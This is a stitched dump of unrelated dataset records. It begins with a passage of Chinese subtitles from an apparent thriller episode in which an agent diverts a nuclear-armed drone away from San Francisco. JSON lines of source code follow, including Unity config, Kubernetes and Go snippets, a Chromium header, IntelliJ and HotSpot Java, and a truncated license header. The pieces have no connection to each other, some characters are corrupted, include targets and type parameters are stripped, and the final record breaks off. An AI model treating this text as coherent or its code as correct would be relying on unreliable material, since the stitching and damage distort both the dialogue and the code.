00:33:04,036\r\n连命都不要了\r\n\r\n677\r\n00:33:04,043 --> 00:33:06,036\r\n因为她认为我值得她这么做\r\n\r\n678\r\n00:33:06,043 --> 00:33:09,040\r\n我不能让她为我白死了\r\n\r\n679\r\n00:33:09,046 --> 00:33:11,023\r\n我会把这事做个了结\r\n\r\n680\r\n00:33:11,030 --> 00:33:13,026\r\n到那个时候\r\n\r\n681\r\n00:33:13,033 --> 00:33:15,076\r\n我会找到那些杀害她的人\r\n\r\n682\r\n00:33:15,083 --> 00:33:18,003\r\n狠狠的修理他们\r\n\r\n683\r\n00:33:19,046 --> 00:33:22,003\r\n拜托 你一定要让我完成这个心愿\r\n\r\n684\r\n00:33:23,040 --> 00:33:24,027\r\n好吧\r\n\r\n685\r\n00:33:24,097 --> 00:33:26,065\r\n我会告诉道尔 你也参与行动\r\n\r\n686\r\n00:33:26,083 --> 00:33:28,026\r\n谢谢\r\n\r\n687\r\n00:33:46,008 --> 00:33:47,020\r\n无人驾驶飞机已经接近市区\r\n\r\n688\r\n00:33:47,026 --> 00:33:49,030\r\n我要开始降落了\r\n\r\n689\r\n00:33:49,036 --> 00:33:52,003\r\n核弹还要多久才会引爆?\r\n\r\n690\r\n00:33:52,010 --> 00:33:54,053\r\n以它现在的速度\r\n\r\n691\r\n00:33:54,060 --> 00:33:57,016\r\n三分钟内将到达指定目标\r\n\r\n692\r\n00:33:57,023 --> 00:33:58,066\r\n一旦到达指定范围\r\n\r\n693\r\n00:33:58,073 --> 00:34:00,036\r\n就会自动引爆\r\n\r\n694\r\n00:34:00,043 --> 00:34:03,046\r\n我会将其高度降至500英尺\r\n\r\n695\r\n00:34:03,053 --> 00:34:05,030\r\n以达到最大杀伤力\r\n\r\n696\r\n00:34:05,036 --> 00:34:09,036\r\n别担心 同志 一切已就绪\r\n\r\n697\r\n00:34:09,043 --> 00:34:12,043\r\n一切都会将按预定计划实现的\r\n\r\n698\r\n00:34:12,050 --> 00:34:15,056\r\n专心做好你份内的事\r\n\r\n699\r\n00:34:15,063 --> 00:34:17,006\r\n完事后打电话通知我\r\n\r\n700\r\n00:34:17,013 --> 00:34:18,073\r\n是 先生\r\n\r\n701\r\n00:34:25,093 --> 00:34:28,023\r\n比尔 我是杰克\r\n我们已到达指定位置\r\n\r\n702\r\n00:34:28,030 --> 00:34:29,035\r\n门是开的\r\n\r\n703\r\n00:34:29,035 --> 00:34:31,083\r\n屋后面停着辆多用途卡车\r\n\r\n704\r\n00:34:31,090 --> 00:34:33,060\r\n我们追踪器表明\r\n\r\n705\r\n00:34:33,066 --> 00:34:34,086\r\n系统入侵\r\n\r\n706\r\n00:34:34,093 --> 00:34:37,026\r\n来自配电站西北角的房间\r\n\r\n707\r\n00:34:37,033 --> 00:34:39,057\r\n杰克 我正在看最新的示意图\r\n\r\n708\r\n00:34:39,059 --> 00:34:42,020\r\n最直接的路线是通过左后方入口\r\n\r\n709\r\n00:34:42,046 --> 00:34:44,040\r\n-好的 你清楚了吗\r\n-嗯\r\n\r\n710\r\n00:34:44,046 --> 00:34:46,050\r\n你要我和你一起进去?\r\n\r\n711\r\n00:34:46,056 --> 00:34:48,020\r\n是的\r\n\r\n712\r\n00:34:48,026 --> 00:34:49,043\r\n行动\r\n\r\n713\r\n00:34:49,050 --> 00:34:51,046\r\n听你的\r\n\r\n714\r\n00:35:17,038 --> 00:35:18,013\r\n外面怎么了?\r\n\r\n715\r\n00:35:18,020 --> 00:35:20,016\r\n去查看一下\r\n\r\n716\r\n00:35:59,031 --> 00:36:00,096\r\n快派医生过来\r\n\r\n717\r\n00:36:01,003 --> 00:36:02,056\r\n克洛伊 我是杰克\r\n收到了吗\r\n\r\n718\r\n00:36:02,063 --> 00:36:03,043\r\n收到\r\n\r\n719\r\n00:36:03,050 --> 00:36:04,046\r\n杰克 你那边情况如何?\r\n\r\n720\r\n00:36:04,053 --> 00:36:05,066\r\n无人驾驶飞机的导航员\r\n中弹倒下了\r\n\r\n721\r\n00:36:05,073 --> 00:36:07,006\r\n我正在操控飞机\r\n\r\n722\r\n00:36:07,013 --> 00:36:08,050\r\n袭击目标是旧金山\r\n\r\n723\r\n00:36:08,056 --> 00:36:10,060\r\n重复 目标是旧金山\r\n\r\n724\r\n00:36:10,066 --> 00:36:12,063\r\n向当地执法机关和\r\n区域内的第一反应组发出警报\r\n\r\n725\r\n00:36:12,070 --> 00:36:15,065\r\n与地区控制中心取得联系\r\n\r\n726\r\n00:36:15,066 --> 00:36:16,035\r\n收到\r\n\r\n727\r\n00:36:21,038 --> 00:36:22,046\r\n这些设备只能控制航行\r\n\r\n728\r\n00:36:22,053 --> 00:36:24,083\r\n没有办法遥控解除引爆\r\n\r\n729\r\n00:36:25,003 --> 00:36:26,086\r\n反恐小组 这边现在和你们连上了\r\n你们应该收到了\r\n\r\n730\r\n00:36:26,093 --> 00:36:28,000\r\n正在连通中\r\n\r\n731\r\n00:36:28,006 --> 00:36:30,000\r\n杰克 你有什��办法\r\n\r\n732\r\n00:36:30,006 --> 00:36:31,076\r\n能确定他们用的是什么触发装置吗\r\n\r\n733\r\n00:36:31,083 --> 00:36:33,083\r\n他们好像在核弹上植入了\r\n全球定位系统模块\r\n\r\n734\r\n00:36:33,090 --> 00:36:35,070\r\n一旦到达指定范围\r\n\r\n735\r\n00:36:35,076 --> 00:36:36,086\r\n就会立即引爆\r\n\r\n736\r\n00:36:36,093 --> 00:36:38,036\r\n我正在试图控制它\r\n\r\n737\r\n00:36:38,043 --> 00:36:40,040\r\n不要太快改变无人驾驶飞机的航道\r\n\r\n738\r\n00:36:40,046 --> 00:36:42,010\r\n否则它一失速 就无法控制了\r\n\r\n739\r\n00:36:42,016 --> 00:36:43,030\r\n明白\r\n\r\n740\r\n00:36:43,036 --> 00:36:44,046\r\n照现在的趋势\r\n\r\n741\r\n00:36:44,053 --> 00:36:46,013\r\n无人驾驶飞机将在30秒内\r\n\r\n742\r\n00:36:46,020 --> 00:36:47,053\r\n进入指定范围并引爆\r\n\r\n743\r\n00:36:53,016 --> 00:36:55,010\r\n杰克 飞机发出稳定警报\r\n\r\n744\r\n00:36:55,016 --> 00:36:56,020\r\n我知道了\r\n\r\n745\r\n00:36:56,026 --> 00:36:58,023\r\n20秒\r\n\r\n746\r\n00:37:06,056 --> 00:37:08,013\r\n10秒\r\n\r\n747\r\n00:37:11,030 --> 00:37:13,026\r\n好了 它转向了\r\n\r\n748\r\n00:37:17,002 --> 00:37:19,003\r\n飞机还没有越过指定区域\r\n\r\n749\r\n00:37:19,010 --> 00:37:20,020\r\n我正避免其失速\r\n\r\n750\r\n00:37:20,026 --> 00:37:21,043\r\n它马上就要失去控制了\r\n\r\n751\r\n00:37:21,050 --> 00:37:23,050\r\n我现在需要找个地方把它降落\r\n\r\n752\r\n00:37:23,056 --> 00:37:25,080\r\n好的 根据这种驾驶器的性能\r\n\r\n753\r\n00:37:25,086 --> 00:37:28,006\r\n它需要500英尺长的跑道来降落\r\n\r\n754\r\n00:37:28,013 --> 00:37:30,016\r\n好的 离这个飞机现方位最近的是\r\n\r\n755\r\n00:37:30,023 --> 00:37:32,000\r\n在你前方的\r\n\r\n756\r\n00:37:32,006 --> 00:37:33,063\r\n一条笔直的居民区道\r\n\r\n757\r\n00:37:33,070 --> 00:37:36,000\r\n这个不行\r\n给我找个没有人烟的地方\r\n\r\n758\r\n00:37:36,006 --> 00:37:37,040\r\n稍等\r\n\r\n759\r\n00:37:41,013 --> 00:37:43,026\r\n如果你能让无人驾驶器\r\n再往东飞一点\r\n\r\n760\r\n00:37:43,033 --> 00:37:45,010\r\n海湾边有一个工业园区\r\n\r\n761\r\n00:37:45,016 --> 00:37:46,056\r\n我把坐标上传给你\r\n\r\n762\r\n00:37:46,063 --> 00:37:49,063\r\n通知当地指挥部的行动组\r\n马上去那个区域\r\n\r\n763\r\n00:37:49,070 --> 00:37:51,006\r\n当地指挥部\r\n\r\n764\r\n00:37:51,013 --> 00:37:53,016\r\n快点啊\r\n\r\n765\r\n00:38:17,050 --> 00:38:18,056\r\n无人驾驶飞机着陆了\r\n\r\n766\r\n00:38:36,026 --> 00:38:38,046\r\n布坎南先生\r\n旧金山的第一反应组\r\n\r\n767\r\n00:38:38,053 --> 00:38:40,023\r\n并未报告有爆炸\r\n\r\n768\r\n00:38:40,030 --> 00:38:41,065\r\n核弹没有在撞击后爆炸\r\n\r\n769\r\n00:38:41,075 --> 00:38:43,080\r\n-杰克 你听到了吗\r\n-嗯\r\n\r\n770\r\n00:38:43,086 --> 00:38:46,053\r\n我们能看到现场的一些情况吗\r\n\r\n771\r\n00:38:46,060 --> 00:38:48,073\r\n我看到现场起火了\r\n\r\n772\r\n00:38:48,080 --> 00:38:51,010\r\n救援队已经到达\r\n\r\n773\r\n00:38:51,016 --> 00:38:52,086\r\n导航员的情况如何?\r\n\r\n774\r\n00:38:52,093 --> 00:38:54,040\r\n只能说是还活着\r\n\r\n775\r\n00:38:54,046 --> 00:38:56,043\r\n尽量让他恢复意识\r\n\r\n776\r\n00:39:15,023 --> 00:39:17,050\r\n拿个盖氏计量器来\r\n\r\n777\r\n00:39:31,050 --> 00:39:34,071\r\n快离开!\r\n这里有放射性元素!\r\n\r\n778\r\n00:39:35,010 --> 00:39:37,000\r\n退后等待危险品紧急处理小组\r\n\r\n779\r\n00:39:37,010 --> 00:39:38,020\r\n往后撤!\r\n\r\n780\r\n00:40:03,086 --> 00:40:05,087\r\n比尔.布坎南在一号线\r\n\r\n781\r\n00:40:07,010 --> 00:40:08,053\r\n比尔 有什么新情况吗\r\n\r\n782\r\n00:40:08,060 --> 00:40:10,003\r\n副总统先生\r\n\r\n783\r\n00:40:10,010 --> 00:40:13,013\r\n我们在核弹爆炸前\r\n拦截了无人驾驶飞机\r\n\r\n784\r\n00:40:13,020 --> 00:40:14,020\r\n啊 感谢上帝\r\n\r\n785\r\n00:40:14,026 --> 00:40:15,053\r\n恭喜你 长官\r\n\r\n786\r\n00:40:15,060 --> 00:40:18,073\r\n我们将无人驾驶飞机\r\n\r\n787\r\n00:40:18,080 --> 00:40:20,033\r\n紧急迫降在市区边缘的\r\n\r\n788\r\n00:40:20,040 --> 00:40:21,060\r\n一个工业园区\r\n\r\n789\r\n00:40:21,066 --> 00:40:23,033\r\n但是在这个过程中\r\n\r\n790\r\n00:40:23,040 --> 00:40:25,003\r\n核弹的内核受损\r\n\r\n791\r\n00:40:25,010 --> 00:40:27,073\r\n放射性物质已经泄露出来\r\n\r\n792\r\n00:40:27,080 --> 00:40:28,093\r\n这样说来我们正在处理的\r\n\r\n793\r\n00:40:29,000 --> 00:40:30,053\r\n是一枚脏弹喽\r\n\r\n794\r\n00:40:30,060 --> 00:40:32,053\r\n阁下 这不是可轻易消除的设备\r\n\r\n795\r\n00:40:32,060 --> 00:40:34,000\r\n这可是放射性元素的泄露啊\r\n\r\n796\r\n00:40:34,006 --> 00:40:36,043\r\n这也是对我们国家的攻击\r\n\r\n797\r\n00:40:40,043 --> 00:40:41,083\r\n比尔 有人员伤亡吗\r\n\r\n798\r\n00:40:41,090 --> 00:40:44,006\r\n当地反应组在紧急处理小组\r\n��前到达那里\r\n\r\n799\r\n00:40:44,013 --> 00:40:45,030\r\n他们中的绝大多数\r\n\r\n800\r\n00:40:45,036 --> 00:40:46,061\r\n都受到了致命的核辐射\r\n\r\n801\r\n00:40:46,061 --> 00:40:47,062\r\n但截至目前为止\r\n\r\n802\r\n00:40:47,063 --> 00:40:51,006\r\n似乎核物质还没有大规模的扩散\r\n\r\n803\r\n00:40:51,013 --> 00:40:53,093\r\n伤亡会控制在最低限度\r\n\r\n804\r\n00:40:54,000 --> 00:40:56,046\r\n至少我们还能为这个感到庆幸\r\n谢谢 比尔\r\n\r\n805\r\n00:41:06,016 --> 00:41:08,030\r\n警示性袭击照原计划实行\r\n\r\n806\r\n00:41:08,036 --> 00:41:10,060\r\n阁下 攻击已经被避免了\r\n\r\n807\r\n00:41:10,066 --> 00:41:12,093\r\n反恐小组成功的做到了这一点\r\n\r\n808\r\n00:41:13,000 --> 00:41:15,053\r\n将会有平民伤亡\r\n\r\n809\r\n00:41:15,060 --> 00:41:16,083\r\n以及未知的环境破坏\r\n\r\n810\r\n00:41:16,090 --> 00:41:18,093\r\n恕我很难认同这是场胜利\r\n\r\n811\r\n00:41:19,000 --> 00:41:20,070\r\n比起我们刚避免的那场灾难\r\n\r\n812\r\n00:41:20,076 --> 00:41:22,076\r\n破坏已经是降低到最低限度了\r\n\r\n813\r\n00:41:22,083 --> 00:41:25,003\r\n阁下 我想我们应该\r\n认为自己是幸运的了\r\n\r\n814\r\n00:41:25,010 --> 00:41:27,003\r\n汤姆?\r\n\r\n815\r\n00:41:27,010 --> 00:41:29,010\r\n阁下\r\n\r\n816\r\n00:41:29,016 --> 00:41:32,033\r\n副总统先生 我们倾向于相信\r\n\r\n817\r\n00:41:32,040 --> 00:41:34,090\r\n只有在核弹爆炸的情况下\r\n\r\n818\r\n00:41:34,096 --> 00:41:37,040\r\n我国才能实行示威性袭击\r\n\r\n819\r\n00:41:37,046 --> 00:41:39,090\r\n那只是从技术的角度看 汤姆\r\n\r\n820\r\n00:41:41,036 --> 00:41:43,040\r\n我已经给他们总理足够的警告了\r\n\r\n821\r\n00:41:43,046 --> 00:41:45,026\r\n现在该采取行动了\r\n\r\n822\r\n00:41:48,080 --> 00:41:49,093\r\n凯南部长?\r\n\r\n823\r\n00:41:50,000 --> 00:41:52,063\r\n潜艇还要多久\r\n\r\n824\r\n00:41:52,070 --> 00:41:54,056\r\n才能到达指定位置?\r\n\r\n825\r\n00:41:54,063 --> 00:41:56,093\r\n只要你一下达命令\r\n\r\n826\r\n00:41:57,000 --> 00:41:59,000\r\n一小时内就可就位\r\n\r\n827\r\n00:42:01,050 --> 00:42:02,083\r\n我现在就下命令\r\n\r\n828\r\n00:42:02,090 --> 00:42:04,052\r\n准备就绪后\r\n\r\n829\r\n00:42:07,087 --> 00:42:09,048\r\n立即发射导弹\r\n\r\n"} +{"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!149 &1\nNetworkManager:\n m_ObjectHideFlags: 0\n m_DebugLevel: 0\n m_Sendrate: 15\n m_AssetToPrefab: {}\n"} +{"text": "// +build !linux\n\n/*\nCopyright 2017 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage util\n\nimport (\n\t\"fmt\"\n)\n\n// AttachFileDevice takes a path to a regular file and makes it available as an\n// attached block device.\nfunc (v VolumePathHandler) AttachFileDevice(path string) (string, error) {\n\treturn \"\", fmt.Errorf(\"AttachFileDevice not supported for this build.\")\n}\n\n// GetLoopDevice returns the full path to the loop device associated with the given path.\nfunc (v VolumePathHandler) GetLoopDevice(path string) (string, error) {\n\treturn \"\", fmt.Errorf(\"GetLoopDevice not supported for this build.\")\n}\n\n// RemoveLoopDevice removes specified loopback device\nfunc (v VolumePathHandler) RemoveLoopDevice(device string) error {\n\treturn fmt.Errorf(\"RemoveLoopDevice not supported for this build.\")\n}\n"} +{"text": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_CHROMEOS_POLICY_USER_CLOUD_POLICY_STORE_CHROMEOS_H_\n#define CHROME_BROWSER_CHROMEOS_POLICY_USER_CLOUD_POLICY_STORE_CHROMEOS_H_\n\n#include \n#include \n\n#include \"base/basictypes.h\"\n#include \"base/compiler_specific.h\"\n#include \"base/files/file_path.h\"\n#include \"base/memory/ref_counted.h\"\n#include \"base/memory/scoped_ptr.h\"\n#include \"base/memory/weak_ptr.h\"\n#include \"chromeos/dbus/dbus_method_call_status.h\"\n#include \"components/policy/core/common/cloud/cloud_policy_validator.h\"\n#include \"components/policy/core/common/cloud/user_cloud_policy_store_base.h\"\n\nnamespace base {\nclass SequencedTaskRunner;\n}\n\nnamespace chromeos {\nclass CryptohomeClient;\nclass SessionManagerClient;\n}\n\nnamespace policy {\n\nclass LegacyPolicyCacheLoader;\n\n// Implements a cloud policy store backed by the Chrome OS' session_manager,\n// which takes care of persisting policy to disk and is accessed via DBus calls\n// through SessionManagerClient.\n//\n// Additionally, this class drives legacy UserPolicyTokenCache and\n// UserPolicyDiskCache instances, migrating policy from these to session_manager\n// storage on the fly.\nclass UserCloudPolicyStoreChromeOS : public UserCloudPolicyStoreBase {\n public:\n UserCloudPolicyStoreChromeOS(\n chromeos::CryptohomeClient* cryptohome_client,\n chromeos::SessionManagerClient* session_manager_client,\n scoped_refptr background_task_runner,\n const std::string& username,\n const base::FilePath& user_policy_key_dir,\n const base::FilePath& legacy_token_cache_file,\n const base::FilePath& legacy_policy_cache_file);\n virtual ~UserCloudPolicyStoreChromeOS();\n\n // CloudPolicyStore:\n virtual void Store(\n const enterprise_management::PolicyFetchResponse& policy) OVERRIDE;\n virtual void Load() OVERRIDE;\n\n // Loads the policy synchronously on the current thread.\n void LoadImmediately();\n\n private:\n // Starts validation of |policy| before storing it.\n void ValidatePolicyForStore(\n scoped_ptr policy);\n\n // Completion handler for policy validation on the Store() path.\n // Starts a store operation if the validation succeeded.\n void OnPolicyToStoreValidated(UserCloudPolicyValidator* validator);\n\n // Called back from SessionManagerClient for policy store operations.\n void OnPolicyStored(bool);\n\n // Called back from SessionManagerClient for policy load operations.\n void OnPolicyRetrieved(const std::string& policy_blob);\n\n // Starts validation of the loaded |policy| before installing it.\n void ValidateRetrievedPolicy(\n scoped_ptr policy);\n\n // Completion handler for policy validation on the Load() path. Installs the\n // policy and publishes it if validation succeeded.\n void OnRetrievedPolicyValidated(UserCloudPolicyValidator* validator);\n\n // Callback for loading legacy caches.\n void OnLegacyLoadFinished(\n const std::string& dm_token,\n const std::string& device_id,\n Status status,\n scoped_ptr);\n\n // Completion callback for legacy policy validation.\n void OnLegacyPolicyValidated(const std::string& dm_token,\n const std::string& device_id,\n UserCloudPolicyValidator* validator);\n\n // Installs legacy tokens.\n void InstallLegacyTokens(const std::string& dm_token,\n const std::string& device_id);\n\n // Removes the passed-in legacy cache directory.\n static void RemoveLegacyCacheDir(const base::FilePath& dir);\n\n // Invokes |callback| after reloading |policy_key_|.\n void ReloadPolicyKey(const base::Closure& callback);\n\n // Reads the contents of |path| into |key|.\n static void LoadPolicyKey(const base::FilePath& path,\n std::string* key);\n\n // Callback for the key reloading.\n void OnPolicyKeyReloaded(std::string* key,\n const base::Closure& callback);\n\n // Invokes |callback| after creating |policy_key_|, if it hasn't been created\n // yet; otherwise invokes |callback| immediately.\n void EnsurePolicyKeyLoaded(const base::Closure& callback);\n\n // Callback for getting the sanitized username from |cryptohome_client_|.\n void OnGetSanitizedUsername(const base::Closure& callback,\n chromeos::DBusMethodCallStatus call_status,\n const std::string& sanitized_username);\n\n chromeos::CryptohomeClient* cryptohome_client_;\n chromeos::SessionManagerClient* session_manager_client_;\n const std::string username_;\n base::FilePath user_policy_key_dir_;\n\n base::WeakPtrFactory weak_factory_;\n\n // TODO(mnissler): Remove all the legacy policy support members below after\n // the number of pre-M20 clients drops back to zero.\n base::FilePath legacy_cache_dir_;\n scoped_ptr legacy_loader_;\n bool legacy_caches_loaded_;\n\n bool policy_key_loaded_;\n base::FilePath policy_key_path_;\n std::string policy_key_;\n\n DISALLOW_COPY_AND_ASSIGN(UserCloudPolicyStoreChromeOS);\n};\n\n} // namespace policy\n\n#endif // CHROME_BROWSER_CHROMEOS_POLICY_USER_CLOUD_POLICY_STORE_CHROMEOS_H_\n"} +{"text": "// Copyright 2015 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage crc32_test\n\nimport (\n\t\"fmt\"\n\t\"hash/crc32\"\n)\n\nfunc ExampleMakeTable() {\n\t// In this package, the CRC polynomial is represented in reversed notation,\n\t// or LSB-first representation.\n\t//\n\t// LSB-first representation is a hexadecimal number with n bits, in which the\n\t// most significant bit represents the coefficient of x⁰ and the least significant\n\t// bit represents the coefficient of xⁿ⁻¹ (the coefficient for xⁿ is implicit).\n\t//\n\t// For example, CRC32-Q, as defined by the following polynomial,\n\t//\tx³²+ x³¹+ x²⁴+ x²²+ x¹⁶+ x¹⁴+ x⁸+ x⁷+ x⁵+ x³+ x¹+ x⁰\n\t// has the reversed notation 0b11010101100000101000001010000001, so the value\n\t// that should be passed to MakeTable is 0xD5828281.\n\tcrc32q := crc32.MakeTable(0xD5828281)\n\tfmt.Printf(\"%08x\\n\", crc32.Checksum([]byte(\"Hello world\"), crc32q))\n\t// Output:\n\t// 2964d064\n}\n"} +{"text": "/*\n * Copyright 2000-2009 JetBrains s.r.o.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.intellij.codeInsight.template.macro;\n\nimport com.intellij.codeInsight.CodeInsightBundle;\nimport com.intellij.codeInsight.template.*;\nimport javax.annotation.Nonnull;\n\npublic class LineNumberMacro extends Macro {\n @Override\n public String getName() {\n return \"lineNumber\";\n }\n\n @Override\n public String getPresentableName() {\n return CodeInsightBundle.message(\"macro.linenumber\");\n }\n\n @Override\n public Result calculateResult(@Nonnull Expression[] params, ExpressionContext context) {\n final int offset = context.getStartOffset();\n int line = context.getEditor().offsetToLogicalPosition(offset).line + 1;\n return new TextResult(\"\" + line);\n }\n\n @Override\n public Result calculateQuickResult(@Nonnull Expression[] params, ExpressionContext context) {\n return calculateResult(params, context);\n }\n\n}"} +{"text": "package api\n\nimport (\n\t\"testing\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/stretchr/testify/require\"\n\t\"github.com/weaveworks/common/server\"\n)\n\ntype FakeLogger struct{}\n\nfunc (fl *FakeLogger) Log(keyvals ...interface{}) error {\n\treturn nil\n}\n\nfunc TestNewApiWithoutSourceIPExtractor(t *testing.T) {\n\tcfg := Config{}\n\tserverCfg := server.Config{\n\t\tMetricsNamespace: \"without_source_ip_extractor\",\n\t}\n\tserver, err := server.New(serverCfg)\n\trequire.NoError(t, err)\n\n\tapi, err := New(cfg, serverCfg, server, &FakeLogger{})\n\n\trequire.NoError(t, err)\n\trequire.Nil(t, api.sourceIPs)\n}\n\nfunc TestNewApiWithSourceIPExtractor(t *testing.T) {\n\tcfg := Config{}\n\tserverCfg := server.Config{\n\t\tLogSourceIPs: true,\n\t\tMetricsNamespace: \"with_source_ip_extractor\",\n\t}\n\tserver, err := server.New(serverCfg)\n\trequire.NoError(t, err)\n\n\tapi, err := New(cfg, serverCfg, server, &FakeLogger{})\n\n\trequire.NoError(t, err)\n\trequire.NotNil(t, api.sourceIPs)\n}\n\nfunc TestNewApiWithInvalidSourceIPExtractor(t *testing.T) {\n\tcfg := Config{}\n\ts := server.Server{\n\t\tHTTP: &mux.Router{},\n\t}\n\tserverCfg := server.Config{\n\t\tLogSourceIPs: true,\n\t\tLogSourceIPsHeader: \"SomeHeader\",\n\t\tLogSourceIPsRegex: \"[*\",\n\t\tMetricsNamespace: \"with_invalid_source_ip_extractor\",\n\t}\n\n\tapi, err := New(cfg, serverCfg, &s, &FakeLogger{})\n\trequire.Error(t, err)\n\trequire.Nil(t, api)\n}\n"} +{"text": "\n\n\n \n \n\n\n"} +{"text": "/*\n * Copyright (c) 2018, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n *\n */\n\npackage sun.jvm.hotspot.memory;\n\nimport java.util.*;\nimport sun.jvm.hotspot.debugger.Address;\nimport sun.jvm.hotspot.runtime.VM;\nimport sun.jvm.hotspot.runtime.VMObject;\nimport sun.jvm.hotspot.runtime.VMObjectFactory;\nimport sun.jvm.hotspot.types.*;\n\npublic class FileMapInfo {\n private static FileMapHeader header;\n private static Address headerValue;\n\n // Fields for class FileMapHeader\n private static Address mdSpaceValue;\n private static Address mdRegionBaseAddress;\n private static Address mdRegionEndAddress;\n\n // HashMap created by mapping the vTable addresses in the md region with\n // the corresponding metadata type.\n private static Map vTableTypeMap;\n\n private static Type metadataTypeArray[];\n\n static {\n VM.registerVMInitializedObserver(new Observer() {\n public void update(Observable o, Object data) {\n initialize(VM.getVM().getTypeDataBase());\n }\n });\n }\n\n private static void initialize(TypeDataBase db) {\n // FileMapInfo\n Type type = db.lookupType(\"FileMapInfo\");\n AddressField currentInfoField = type.getAddressField(\"_current_info\");\n long headerFieldOffset = type.getField(\"_header\").getOffset();\n Address headerAddress = currentInfoField.getValue().addOffsetTo(headerFieldOffset);\n headerValue = headerAddress.getAddressAt(0);\n\n // FileMapHeader\n type = db.lookupType(\"FileMapInfo::FileMapHeader\");\n AddressField spaceField = type.getAddressField(\"_space[0]\");\n Address spaceValue = headerValue.addOffsetTo(type.getField(\"_space[0]\").getOffset());\n mdSpaceValue = spaceValue.addOffsetTo(3 * spaceField.getSize());\n\n // SpaceInfo\n type = db.lookupType(\"FileMapInfo::FileMapHeader::space_info\");\n long mdRegionBaseAddressOffset = type.getField(\"_addr._base\").getOffset();\n mdRegionBaseAddress = (mdSpaceValue.addOffsetTo(mdRegionBaseAddressOffset)).getAddressAt(0);\n long mdRegionSizeOffset = type.getField(\"_used\").getOffset();\n long mdRegionSize = (mdSpaceValue.addOffsetTo(mdRegionSizeOffset)).getAddressAt(0).asLongValue();\n mdRegionEndAddress = mdRegionBaseAddress.addOffsetTo(mdRegionSize);\n\n populateMetadataTypeArray(db);\n }\n\n private static void populateMetadataTypeArray(TypeDataBase db) {\n metadataTypeArray = new Type[8];\n\n metadataTypeArray[0] = db.lookupType(\"ConstantPool\");\n metadataTypeArray[1] = db.lookupType(\"InstanceKlass\");\n metadataTypeArray[2] = db.lookupType(\"InstanceClassLoaderKlass\");\n metadataTypeArray[3] = db.lookupType(\"InstanceMirrorKlass\");\n metadataTypeArray[4] = db.lookupType(\"InstanceRefKlass\");\n metadataTypeArray[5] = db.lookupType(\"Method\");\n metadataTypeArray[6] = db.lookupType(\"ObjArrayKlass\");\n metadataTypeArray[7] = db.lookupType(\"TypeArrayKlass\");\n }\n\n public FileMapHeader getHeader() {\n if (header == null) {\n header = (FileMapHeader) VMObjectFactory.newObject(FileMapInfo.FileMapHeader.class, headerValue);\n }\n return header;\n }\n\n public boolean inCopiedVtableSpace(Address vptrAddress) {\n FileMapHeader fmHeader = getHeader();\n return fmHeader.inCopiedVtableSpace(vptrAddress);\n }\n\n public Type getTypeForVptrAddress(Address vptrAddress) {\n if (vTableTypeMap == null) {\n getHeader().createVtableTypeMapping();\n }\n return vTableTypeMap.get(vptrAddress);\n }\n\n\n //------------------------------------------------------------------------------------------\n\n public static class FileMapHeader extends VMObject {\n\n public FileMapHeader(Address addr) {\n super(addr);\n }\n\n public boolean inCopiedVtableSpace(Address vptrAddress) {\n if (vptrAddress.greaterThan(mdRegionBaseAddress) &&\n vptrAddress.lessThanOrEqual(mdRegionEndAddress)) {\n return true;\n }\n return false;\n }\n\n public void createVtableTypeMapping() {\n vTableTypeMap = new HashMap();\n long metadataVTableSize = 0;\n long addressSize = VM.getVM().getAddressSize();\n\n Address copiedVtableAddress = mdRegionBaseAddress;\n for (int i=0; i < metadataTypeArray.length; i++) {\n // The first entry denotes the vtable size.\n metadataVTableSize = copiedVtableAddress.getAddressAt(0).asLongValue();\n vTableTypeMap.put(copiedVtableAddress.addOffsetTo(addressSize), metadataTypeArray[i]);\n\n // The '+ 1' below is to skip the entry containing the size of this metadata's vtable.\n copiedVtableAddress =\n copiedVtableAddress.addOffsetTo((metadataVTableSize + 1) * addressSize);\n }\n }\n }\n}\n"} +{"text": "//\n// Authors:\n// Rafael Mizrahi \n// Erez Lotan \n// Vladimir Krasnov \n// \n// \n// Copyright (c) 2002-2005 Mainsoft Corporation.\n// \n// Permission is hereby granted, free of charge, to any person obtaining\n// a copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to\n// permit persons to whom the Software is furnished to do so, subject to\n// the following conditions:\n// \n// The above copyright notice and this permission notice shall be\n// included in all copies or substantial portions of the Software.\n// \n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// 